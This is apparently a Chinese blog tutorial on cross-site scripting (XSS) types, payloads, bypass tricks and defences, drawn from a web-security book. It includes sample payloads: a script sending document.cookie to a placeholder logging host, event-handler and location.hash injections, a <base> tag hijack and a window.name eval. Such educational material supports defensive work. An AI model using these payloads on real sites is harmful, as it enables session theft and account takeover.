跨站脚本攻击(Cross Site Script),原本的简称应该是CSS,但是为了和层叠样式表CSS区分,故而改称为XSS。
XSS攻击一般是指黑客通过 HTML注入 篡改了页面,插入恶意的脚本,从而在用户浏览网页的时候,控制用户浏览器的一种攻击。针对各种不同场景产生的各种XSS,我们则需要区分情景对待。
XSS的类型
存储型XSS
- 概括:
存储型XSS会把用户输入的数据存储在服务器端。这种XSS具有很强的稳定性,而且影响也比较广,持续性长,在访问正常的URL时就会触发,所以也被称为持久性XSS; - 常见场景:论坛、商店评论和私信等;
- 实行步骤:
- 前端将输入的文字保存到后端服务器;
- 请求接口后端从数据库中取出数据返回给前端;
- 前端将内容直接插入到DOM中;
- 恶意代码被运行;
- 例子:
- 在某商品的评论页面输入
<script>alert('XSS-WARN')</script>,保存在服务器后,当另外的人查看评论列表时,假如是使用的innerHTML进行赋值,那么在DOM中插入这段代码就会直接运行。
- 在某商品的评论页面输入
反射型XSS
- 概括:
反射型XSS只是简单的把用户输入的数据反射给了浏览器。所以往往需要诱使用户点击一个恶意链接,故而提高了攻击的门槛,也被称为非持久性XSS;而且反射型XSS因为URL特征更加容易被防御,很多浏览器都有自己的XSS过滤器。 - 常见场景:网站搜索、跳转;
- 实行步骤:
- 攻击者构造出特殊的URL引诱用户点击;
- 一旦用户点击,URL中携带的恶意代码就会被取出拼接到HTML中;
- 恶意代码可能会获取本地用户的信息发送给黑客或者直接套用用户的信息去冒充用户进行其他行为;
- 例子:
- 原本的网址是
https://sports.qq.com/,攻击者会诱导你点击他拼接好的恶意链接https://sports.qq.com/#alert(1),(直接拼接成https://sports.qq.com/alert(1)是不行的,网站会有过滤会提示报警)此时网站并不会变化,还是原来的网页,只是URL变了,再触发恶意代码比如eval(location.hash.substr(1)),就会弹出后面拼接的代码。
- 原本的网址是
DOM Based XSS
- 概括:此种类型的
XSS比较特殊,并非按照数据是否保存在服务器端来划分,如果从效果上来看,它其实属于反射型XSS。但是由于形成原因比较特别。所以单独分为一类。通过修改页面的DOM节点行程的XSS,称之为DOM Based XSS。
XSS Payload
XSS攻击成功以后,攻击者往往会对用户当前浏览的网页植入恶意脚本,通过这些脚本来控制用户的浏览器。这些用来完成各种具体功能的恶意脚本就被成为XSS Payload。XSS Payload实际上就是JavaScript脚本(还可以是Flash或者其他富客户端的脚本)。所以JavaScript脚本能实现的功能,XSS Payload一样可以做到。
cookie劫持
比较常见的一种攻击方式就是劫持用户的Cookie然后伪装用户的行为去进行攻击。本地浏览器往往保存着加密过的用户个人信息,这样就不用每次进网站都重新登陆了,如果cookie没有保存本地的客户端信息,攻击者劫持到用户的Cookie后,他并不需要知道Cookie中的数据到底是什么,只需要拿着Cookie这个凭证就可以在对应的网站里通行。就像是抗日剧里拿着通行证就可以在敌占区畅通无阻一样。
攻击者可以通过反射型XSS插入HTML来加载一个恶意的JavaScript文件,这样也是避免在URL中拼接过长的JavaScript代码,毕竟很多输入都是限制了长度。比如:
<xss.js>
let img = document.createEleme('img')
img.src = "http://www.xxxxxxxx.com/log?"+escape(document.cookie)
document.body.appendChild(img)
- 应对方法:
-
有的网站会把
Cookie和客户端的IP绑定在一起;- 例如引入搜狐接口文件:
<script src="http://pv.sohu.com/cityjson?ie=utf-8"></script> - 打印IP:
document.write(returnCitySN["cip"])
- 例如引入搜狐接口文件:
-
设置
HttpOnly字段为true,禁止JavaScript读取Cookie信息; -
每隔一段时间更新session ID;
-
构造GET和POST请求
构造GET请求比较简单,构建一个URL诱导用户点击即可,比如https://juejin.cn?m=detele&id=12345678,点击以后运行后面的代码删除id为12345678的文章。(当然这只是举例,具体的请求参数不一定是这个)
构造POST请求有两种方法,一种需要构建一个form表单然后自动提交,如果表单参数很多需要构造很多DOM节点导致代码过于冗长,可以直接写HTML代码。还有一种方式就是通过XMLHttpRequest发送一个POST请求。
XSS钓鱼
XSS攻击有个特点,没有太多和用户交互的过程。所以在用户登录的时候增加验证码,那么一般的XSS Payload都会失效,在修改用户密码的功能中也会要求用户输入旧密码,毕竟攻击者一般是不知道你的旧密码的。
- 验证码:处理这种情况,攻击者可以通过读取页面内容,把验证码图片的URL发送到远程服务器,然后把验证码的值返回给当前
XSS Payload来绕过验证码。 - 修改密码:伪造一个假的登录框,骗取用户在其中输入用户名和密码,将密码发送到黑客的服务器上。
识别用户的浏览器
在很多时候,攻击者为了获取更大的利益,往往需要准确的收集用户个人信息。比如知道了用户使用的浏览器、操作系统,攻击者就有可能实施一次精准的浏览器内存攻击最终给用户植入一个木马。XSS就可以快速的达到手机信息的目的。
虽然通过获取浏览器的navigator.userAgent对象可以拿到浏览器的版本和系统信息。
但是浏览器的
userAgent可以伪造,有些浏览器的扩展插件可以屏蔽或者自定义浏览器发送的userAgent。下图所示:(文字为谷歌机翻)
所以识别用户浏览器的核心就是通过不同浏览器的特性以及相同浏览器不同版本的差异来判断浏览器的类别和版本。
XSS worm
XSS蠕虫攻击影响要更大,一般来说,用户之间发生交互行为的页面如果有存储型XSS就会更容易遭受XSS Worm攻击。比如用户留言、发送私信等那种很多人都能看到的页面往往是重灾区,用户可能会疯狂的互相转发垃圾消息,一旦你点击了该地址就会触发XSS Payload中的代码。但是像“个人资料设置"这种别人无法进入只能自己看的页面即使存在XSS,也没有传播能力。
XSS是如何构造的
绕过长度限制
输入端往往会有一定的长度限制,使用最原始的写法往往需要加上<script></script>标签。占用了大量的长度。此时有两种方法绕开长度限制。
- 利用事件(Event)
<input type=text value="var">
原始的方法写就是var = "><script>alert(1)</script>
而利用事件写就是var = "onclick=alert(1)//
对比之下 明显第二种写法短了很多,此时的效果是:
<input type=text value=""onclick=alert(1)//">
就等同于<input type=text value="" onclick=alert(1)>
不过利用事件能缩短的代码长度终究是有限的,最好是把XSS Payload写在别处然后用简短的代码加载这段XSS Payload。
- location.hash 最常用的一个藏代码的地方就是location.hash。根据HTTP协议,location.hash的内容也不会在HTTP包中发送,所以服务器端的web日志中也不会记录下location.hash的内容。更好的隐藏了黑客的目的。
伪造一个XSS URL让用户去点击
http://www.baidu.com/xss.html#alert("XSS")
location.hash的第一个字符是#,所以用substr(1)去除第一个字符,当用户点击input
<input type=text value="" onclick="eval(location.hash.substr(1))">
location.hash本身没有长度限制。但是浏览器的地址栏是有限制的,如果长度还是不够可以使用加载远程js文件的方法。
使用<base>标签
<base>标签定义当前页面所有使用相对路径标签的hosting地址。
<base href="https://gimg2.baidu.com">
<img src="/image_search.png">
上述等同于
<img src="https://gimg2.baidu.com/image_search.png">
此时如果我们的代码中有使用相对路径,一旦被攻击者构造了<base>标签插入进代码,攻击者就可以肆意伪造路径来显示攻击者想要显示的图片。
<base href="https://xxxxxxx"> //攻击者构建的代码
<img src="/image_search.png">
window.name
对当前窗口的window.name对象赋值是没有特殊字符的限制的。window对象是浏览器的窗体而不是document对象,所以window对象在很多时候是不受同源策略的限制的。攻击者便可以利用这个特性实现跨域、跨页面传值。 比如在A页面赋值,然后跳转到B页面并获取window.name的值:
http://www.a.com/test.html页面
window.name = "alert(document.cookie)"
window.location = "http://www.b.com/test.html"
http://www.b.com/test.html页面
eval(name)
而且上述写法还可以大大缩短代码的长度更利于绕开长度限制。
XSS的防御
HttpOnly
浏览器将禁止页面的JavaScript访问带有HttpOnly属性的Cookie,该属性主要解决的是XSS后的cookie的劫持攻击,而并非XSS。
HttpOnly是在服务器返回发送Set-Cookie头的时候标记上的,可以根据实际情况给需要的Cookie加上该属性。有的时候可能需要JavaScript访问Cookie。
输入和输出
现在流行的前端框架都会进行自动转义,以Vue.js举例
小结
XSS的本质还是一种HTML注入,用户的数据被当成了HTML代码来执行。不同的XSS攻击的特点和适用场景是不一样的,简要概括来说:
-
反射型XSS:一般要求攻击者诱使用户点击一个包含XSS代码的URL,存储在客户端;
-
存储型XSS:用户在浏览正常的页面的时候都会被攻击,极其隐蔽,影响范围极广,风险极大,存储在服务器端;
-
DOM Based XSS:它并不是按照是否存储在服务器端来划分的,从效果上来看是反射型的XSS,核心的是它改变了DOM的结构;
-
XSS Worm:用户之间有互动的页面都有可能被存储型XSS攻击;
而本文的内容主要是参考了道哥的《白帽子讲Web安全》